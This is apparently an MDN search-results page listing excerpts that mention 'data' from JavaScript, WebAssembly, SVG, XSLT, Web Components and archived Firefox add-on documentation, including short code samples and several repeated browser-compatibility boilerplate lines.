... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.compile() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.compileStreaming() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.instantiateStreaming() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.validate() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
encodeURIComponent() - JavaScript
this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding.
...without encodeuricomponent() the ampersand could be interpretted on the server as the start of a new field and jeopardize the integrity of the data.
eval() - JavaScript
parsing json (converting strings to javascript objects) if the string you're calling eval() on contains data (for example, an array: "[1, 2, 3]"), as opposed to code, you should consider switching to json, which allows the string to use a subset of javascript syntax to represent data.
... pass data instead of code for example, an extension designed to scrape contents of web-pages could have the scraping rules defined in xpath instead of javascript code.
Iteration protocols - JavaScript
with es2015 class class simpleclass { constructor(data) { this.data = data; } [symbol.iterator]() { // use a new index for each iterator.
... let index = 0; return { next: () => { if (index < this.data.length) { return {value: this.data[index++], done: false} } else { return {done: true} } } } } } const simple = new simpleclass([1,2,3,4,5]); for (const val of simple) { console.log(val); // '1' '2' '3' '4' '5' } is a generator object an iterator or an iterable?
Lexical grammar - JavaScript
minification tools are often used to remove whitespace in order to reduce the amount of data that needs to be transferred.
...7777n // 68719476735 0x123456789abcdefn // 81985529216486895‬ 0b11101001010101010101n // 955733 note that legacy octal numbers with just a leading zero won't work for bigint: // 0755n // syntaxerror: invalid bigint syntax for octal bigint numbers, always use zero followed by the letter "o" (uppercase or lowercase): 0o755n for more information about bigint, see also javascript data structures.
Destructuring assignment - JavaScript
onsole.log(b); // 20 console.log(rest); // [30, 40, 50] ({ a, b } = { a: 10, b: 20 }); console.log(a); // 10 console.log(b); // 20 // stage 4(finished) proposal ({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}); console.log(a); // 10 console.log(b); // 20 console.log(rest); // {c: 30, d: 40} description the object and array literal expressions provide an easy way to create ad hoc packages of data.
... nested object and array destructuring const metadata = { title: 'scratchpad', translations: [ { locale: 'de', localization_tags: [], last_edit: '2014-04-14t08:43:37', url: '/de/docs/tools/scratchpad', title: 'javascript-umgebung' } ], url: '/docs/tools/scratchpad' }; let { title: englishtitle, // rename translations: [ { title: localetitle, // rename }, ], } = metadata; console.lo...
Optional chaining (?.) - JavaScript
do something with the data } catch (err) { if (onerror) { // testing if onerror really exists onerror(err.message); } } } // using optional chaining with function calls function dosomething(oncontent, onerror) { try { // ...
... do something with the data } catch (err) { onerror?.(err.message); // no exception if onerror is undefined } } optional chaining with expressions you can also use the optional chaining operator when accessing properties with an expression using the bracket notation of the property accessor: let nestedprop = obj?.['prop' + 'name']; optional chaining not valid on the left-hand side of an assignment let object = {}; object?.property = 1; // uncaught syntaxerror: invalid left-hand side in assignment array item access with optional chaining let arrayitem = arr?.[42]; examples basic example this example looks for the value of the name property for the member bar in a map when there is no such member.
JavaScript reference - JavaScript
r syntaxerror typeerror urierror numbers & dates number bigint math date text processing string regexp indexed collections array int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array keyed collections map set weakmap weakset structured data arraybuffer sharedarraybuffer atomics dataview json control abstraction promise generator generatorfunction asyncfunction reflection reflect proxy internationalization intl intl.collator intl.datetimeformat intl.displaynames intl.listformat intl.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly ...
... arguments arrow functions default parameters rest parameters additional reference pages lexical grammar data types and data structures strict mode deprecated features ...
JavaScript
javascript data structures overview of available data structures in javascript.
... javascript typed arrays javascript typed arrays provide a mechanism for accessing raw binary data.
Add to Home screen - Progressive web apps (PWAs)
bear in mind that when you add an app to your home screen, it just makes the app easily accessible — it doesn't download the app's assets and data to your device and make the app available offline, or anything like that.
... to make your app work offline, you have to use the service worker api to handle storing the assets offline, and if required, web storage or indexeddb to store its data.
baseline-shift - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clip-path - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clip-rule - SVG: Scalable Vector Graphics
graphical elements » browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-interpolation-filters - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-interpolation - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
cursor - SVG: Scalable Vector Graphics
WebSVGAttributecursor
elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
fill-opacity - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
fill-rule - SVG: Scalable Vector Graphics
50 z"/> <!-- effect of evenodd fill rule on a shape inside a shape with the path segment moving in opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="evenodd" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-family - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-style - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-weight - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" ...
... marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
pointer-events - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
requiredFeatures - SVG: Scalable Vector Graphics
http://www.w3.org/tr/svg11/feature#coreattribute the browser supports the id, xml:base, xml:lang and xml:space attributes http://www.w3.org/tr/svg11/feature#structure the browser supports <svg>, <g>, <defs>, <desc>, <title>, <metadata>, <symbol> and <use> elements.
... http://www.w3.org/tr/svg11/feature#basicstructure the browser supports <svg>, <g>, <defs>, <desc>, <title>, <metadata> and <use> elements.
shape-rendering - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-dasharray - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-dashoffset - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-linecap - SVG: Scalable Vector Graphics
> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-miterlimit - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-opacity - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-width - SVG: Scalable Vector Graphics
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
writing-mode - SVG: Scalable Vector Graphics
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Content type - SVG: Scalable Vector Graphics
svg makes use of a number of data types.
... svg supports all of the syntax alternatives for <color> defined in css2 syntax and basic data types, and (depend on the implementation) in the future css color module level 3.
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
the <altglyph> svg element allows sophisticated selection of the glyphs used to render its child character data.
... usage context categoriestext content element, text content child elementpermitted contentany elements or character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventliste...
... value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
value type: <path_data> ; default value: none; animatable: yes side which side of the path the text should be rendered.
...wns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
the textual content for a <text> svg element can be either character data directly embedded within the <text> element or the character data content of a referenced element, where the referencing is specified with a <tref> element.
... example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification sta...
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
<text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text.
... </textpath> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> « previousnext » ...
Same-origin policy - Web security
data: urls get a new, empty, security context.
... cross-origin data storage access access to data stored in the browser such as web storage and indexeddb are separated by origin.
Using custom elements - Web Components
this.getattribute('img') : 'img/default.png'; const info = wrapper.appendchild(document.createelement('span')); info.setattribute('class','info'); // take attribute content and put it inside the info span info.textcontent = this.getattribute('data-text'); // create some css to apply to the shadow dom const style = document.createelement('style'); style.textcontent = '.wrapper {' + // css truncated for brevity // attach the created elements to the shadow dom this.shadowroot.append(style,wrapper); finally, we register our custom element on the customelementregistry using the define() method we mentioned earlier — in the parameters we ...
...over in our html, we use it like so: <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."></popup-info> note: you can see the full javascript source code here.
Using shadow DOM - Web Components
om structure: // create spans let wrapper = document.createelement('span'); wrapper.setattribute('class', 'wrapper'); let icon = document.createelement('span'); icon.setattribute('class', 'icon'); icon.setattribute('tabindex', 0); let info = document.createelement('span'); info.setattribute('class', 'info'); // take attribute content and put it inside the info span let text = this.getattribute('data-text'); info.textcontent = text; // insert icon let imgurl; if(this.hasattribute('img')) { imgurl = this.getattribute('img'); } else { imgurl = 'img/default.png'; } let img = document.createelement('img'); img.src = imgurl; icon.appendchild(img); styling the shadow dom after that we create a <style> element and populate it with some css to style it: // create some css to apply to the sha...
... the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); using our custom element once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in using custom elements: // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> internal versus external styles in the above example we apply style to the shadow dom using a <style> element, but it is perfectly possible to do it by referencing an external stylesheet from a <...
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
syntax <xsl:output method="xml" | "html" | "text" version=string encoding=string omit-xml-declaration="yes" | "no" standalone="yes" | "no" doctype-public=string doctype-system=string cdata-section-elements=list-of-names indent="yes" | "no" media-type=string /> required attributes none.
... cdata-section-elements lists elements whose text contents should be written as cdata sections.
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementsort
syntax <xsl:sort select=expression order="ascending" | "descending" case-order="upper-first" | "lower-first" lang=xml:lang-code data-type="text" | "number" /> required attributes none.
... data-type defines whether items are to be ordered alphabetically or numerically.
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
... this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.
Introduction - XSLT: Extensible Stylesheet Language Transformations
javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup.
WebAssembly
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window: deviceproximity event - Archive of obsolete content
the deviceproximity event is fired when fresh data is available from a proximity sensor.
Window: userproximity event - Archive of obsolete content
the userproximity event is fired when fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
Classes and Inheritance - Archive of obsolete content
data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior.
Contributor's Guide - Archive of obsolete content
data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior.
Module structure of the SDK - Archive of obsolete content
so a if you import a module using require, you can't change the properties of the object returned: self = require("sdk/self"); // attempting to define a new property // will fail, or throw an exception in strict mode self.foo = 1; // attempting to modify an existing property // will fail, or throw an exception in strict mode self.data = "foo"; using modules from outside the add-on sdk you can use commonjs modules outside the add-on sdk, in any environment where you can use components.utils.import.
Porting the Library Detector - Archive of obsolete content
version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); } }); if (worker.tab == tabs.activetab) {...
Program ID - Archive of obsolete content
for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
SDK API Lifecycle - Archive of obsolete content
the stability index for each module is written into that module’s metadata structure, and is displayed at the top of each module's documentation page.
Two Types of Scripts - Archive of obsolete content
if they are stored in separate files you should store them under the data directory under your add-on's root.
Working with Events - Archive of obsolete content
if you do this, the listener will be called for any event emitted by that object, and its argument will be the name of the event: var ui = require("sdk/ui"); var panels = require("sdk/panel"); var self = require("sdk/self"); var panel = panels.panel({ contenturl: self.data.url("panel.html") }); panel.on("*", function(e) { console.log("event " + e + " was emitted"); }); var button = ui.actionbutton({ id: "my-button", label: "my button", icon: "./icon-16.png", onclick: handleclick }); function handleclick(state) { panel.show({ position: button }); } this wildcard feature does not yet work for the tabs or windows modules.
querystring - Archive of obsolete content
gnment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment characters, but you can override this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
simple-prefs - Archive of obsolete content
there are: mandatory attributes that all preferences must have optional attributes attributes that are specific to the preference's data type mandatory common attributes these are attributes that all preferences must have.
io/byte-streams - Archive of obsolete content
function readbinarydatafromfile (filename) { var fileio = require("sdk/io/file"); var data = null; if (fileio.exists(filename)) { var bytereader = fileio.open(filename, "rb"); if (!bytereader.closed) { data = bytereader.read(); bytereader.close(); } } return data; } function writebinarydatatofile(data, filename) { var fileio = require("sdk/io/file"); var bytewriter = fileio.open(filename, "wb"); if (!bytewriter.closed) { bytewriter.write(data); bytewriter.close(); } } globals constructors bytereader(inputstream) creates a binary input stream that reads bytes from a backing stream.
lang/functional - Archive of obsolete content
our hash // function will just parse the last name, as our naive // implementation assumes that they will share the same lineage let getlineage = memoize(function (name) { // computes lineage return data; }, hasher); // hashing function takes a string of first and last name // and returns the last name.
places/favicon - Archive of obsolete content
the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon urls for visited sites.
platform/xpcom - Archive of obsolete content
getservice(ci.nsiobserverservice); var starobserver = class({ extends: unknown, interfaces: [ 'nsiobserver' ], topic: '*', register: function register() { observerservice.addobserver(this, this.topic, false); }, unregister: function() { observerservice.removeobserver(this, this.topic); }, observe: function observe(subject, topic, data) { console.log('star observer:', subject, topic, data); } }); var starobserver = starobserver(); starobserver.register(); implementing xpcom factories the xpcom module exports a class called factory which implements the nsifactory interface.
Release notes - Archive of obsolete content
"./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs.
Tools - Archive of obsolete content
package.json the package.json file contains manifest data for your add-on, providing not only descriptive information about the add-on for presentation in the add-ons manager, but other metadata required of add-ons.
Adding a Button to the Toolbar - Archive of obsolete content
create a directory called "data", mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png then open the file called "index.js" in the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, ...
Overview - Archive of obsolete content
working with data we'll use the simple-storage module to store annotations.
Getting Started (jpm) - Archive of obsolete content
next, create a directory called "data" in your add-on's root, mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: jpm run this is the jpm command to run a new instance of firefox with your add-on installed.
List Open Tabs - Archive of obsolete content
on that logs the urls of open tabs when the user clicks it: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) console.log(tab.url); } note: to get this working, you will need to save an icon for the button to your add-on's "data" directory as "icon-16.png".
Developing for Firefox Mobile - Archive of obsolete content
tions: jpm-mobile run --adb /path/to/adb in the command shell, you should see something like: launching mobile application with intent name org.mozilla.fennec pushing the addon to your device starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'.
Bookmarks - Archive of obsolete content
the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder 0); // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks.
Downloading Files - Archive of obsolete content
nnel = ioserv.newchannel(url, 0, null); var stream = channel.open(); if (channel instanceof components.interfaces.nsihttpchannel && channel.responsestatus != 200) { return ""; } var bstream = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bstream.setinputstream(stream); var size = 0; var file_data = ""; while(size = bstream.available()) { file_data += bstream.readbytes(size); } return file_data; } see also nsidownloadprogresslistener saving an arbitrary url to a local file customizing the download progress bar appearance ...
Forms related code snippets - Archive of obsolete content
image preview before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a preview of an image before uploading it.[article] this example shows how to use it in this way.
HTML to DOM - Archive of obsolete content
// or set location "about:blank" // frame.contentdocument.location.href = "about:blank"; },10); }, true); } // load a page frame.contentdocument.location.href = "http://www.mozilla.org/"; // or // frame.webnavigation.loaduri("http://www.mozilla.org/",components.interfaces.nsiwebnavigation,null,null,null); if you are starting with an html string, you can convert it to a data uri and use that to load in the browser element.
LookupNamespaceURI - Archive of obsolete content
case 10: // document_type_node case 11: // document_fragment_node return null; // unknown case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...
Page Loading - Archive of obsolete content
post data to window code to post data to an existing or new window/tab ...
Rosetta - Archive of obsolete content
} var ocompiled = document.createelement("script"); oscript.parentnode.insertbefore(obaton, oscript); oscript.parentnode.removechild(oscript); for (var aattrs = oscript.attributes, nattr = 0; nattr < aattrs.length; nattr++) { ocompiled.setattribute(aattrs[nattr].name, aattrs[nattr].value); } ocompiled.type = "text\/ecmascript"; if (oxhr200) { ocompiled.src = "data:text\/javascript," + encodeuricomponent(odicts[smimetype](oxhr200.responsetext)); } ocompiled.text = oxhr200 ?
Code snippets - Archive of obsolete content
this lets you access data in typed arrays using c-like string functions.
Default Preferences - Archive of obsolete content
t preferences using the pref() function: pref("name", "value") example: pref('extensions.defaultprefs.example.int', 1); pref('extensions.defaultprefs.example.float', 0.1); pref('extensions.defaultprefs.example.string', 'fadf'); pref('extensions.defaultprefs.example.bool', true); notice that unlike when you're reading preferences, writing default preferences uses the same function no matter the data type of the preference.
Extension Packaging - Archive of obsolete content
every extension must provide an install.rdf file, which contains metadata about the extension, such as its unique id, version, author, and compatibility information.
Jetpack Processes - Archive of obsolete content
handles messages that communicate between the browser and jetpack process may contain only serializable (json) data and handles.
Listening to events in Firefox extensions - Archive of obsolete content
web progress listeners for more information about web loads a web progress listener can be used; these provide more details about the progress of loading data from the web.
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
(see xpcom:arrays.) nscomptr<nsisupportsarray> array; - rv = ns_newisupportsarray(getter_addrefs(array)); + array = do_createinstance(ns_supportsarray_contractid); - nscomptr<nsiinputstream> rawstream;- rv = ns_newbyteinputstream(getter_addrefs(rawstream),- (const char*)data, length); + nscomptr<nsistringinputstream> rawstream =+ do_createinstance(ns_stringinputstream_contractid, &rv);+ ns_ensure_success(rv, rv);++ rv = rawstream->setdata((const char*)data, length); ns_ensure_success(rv, rv); nsistringinputstream is not frozen (and thus, not available in the gecko sdk as currently published).
Appendix: What you should know about open-source software licenses - Archive of obsolete content
it has the following characteristics: gives creators flexibility when selecting and applying terms; terms of use stated in easy-to-understand language; licensing conditions conform with current copyright laws; also has an rdf schema for attaching metadata.
Adding Events and Commands - Archive of obsolete content
you should also avoid this kind of events to trigger actions that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage.
Appendix A: Add-on Performance - Archive of obsolete content
most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
in these cases, multiple attributes should be used, one for each variable: function clickify(elem, address) { elem.setattribute("href", address); elem.setattribute("onclick", "openwindow(this.getattribute('href'))"); } escaping functions when the code fragment in question is not an event handler attribute and there is no feasible way to pass the data through other means, they must be escaped with functions such as uneval, string.quote, json.stringify, or number.
Handling Preferences - Archive of obsolete content
then, create the observer method: observe : function(asubject, atopic, adata) { if ("nspref:changed" == atopic) { let newvalue = asubject.getintpref(adata); // do something.
Mozilla Documentation Roadmap - Archive of obsolete content
pretty much every code change done in firefox and mozilla projects is documented in this huge tracking database.
User Notifications and Alerts - Archive of obsolete content
the buttons are represented by simple js data objects.
Supporting search suggestions in search plugins - Archive of obsolete content
if the request for the suggest url does not return data before 500ms have elapsed, no search suggestions will be shown.
Beginner tutorials - Archive of obsolete content
this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
Case Sensitivity in class and id Names - Archive of obsolete content
class = cdata-list [cs] this attribute assigns a class name or set of class names to an element.
Creating a status bar extension - Archive of obsolete content
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar panel</em:description> <em:creator>my name</em:creator> <em:homepageurl>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepageurl> <!-- describe the firefox versions we support --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e...
MozAudioAvailable - Archive of obsolete content
framebuffer read only framebuffer (array) the decoded audio sample data (i.e., floats).
Localizing an extension - Archive of obsolete content
the chrome registry resolves the uris based on the user's current locale setting and the data you provide in your chrome manifest.
Using content preferences - Archive of obsolete content
site-specific content preferences are stored in the profile folder, in the database file "content-prefs.sqlite".
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
<param name="src" ...> is equivalent to srcspecifies an url for the initial stream of data to feed the plug-in.
How Mozilla finds its configuration files - Archive of obsolete content
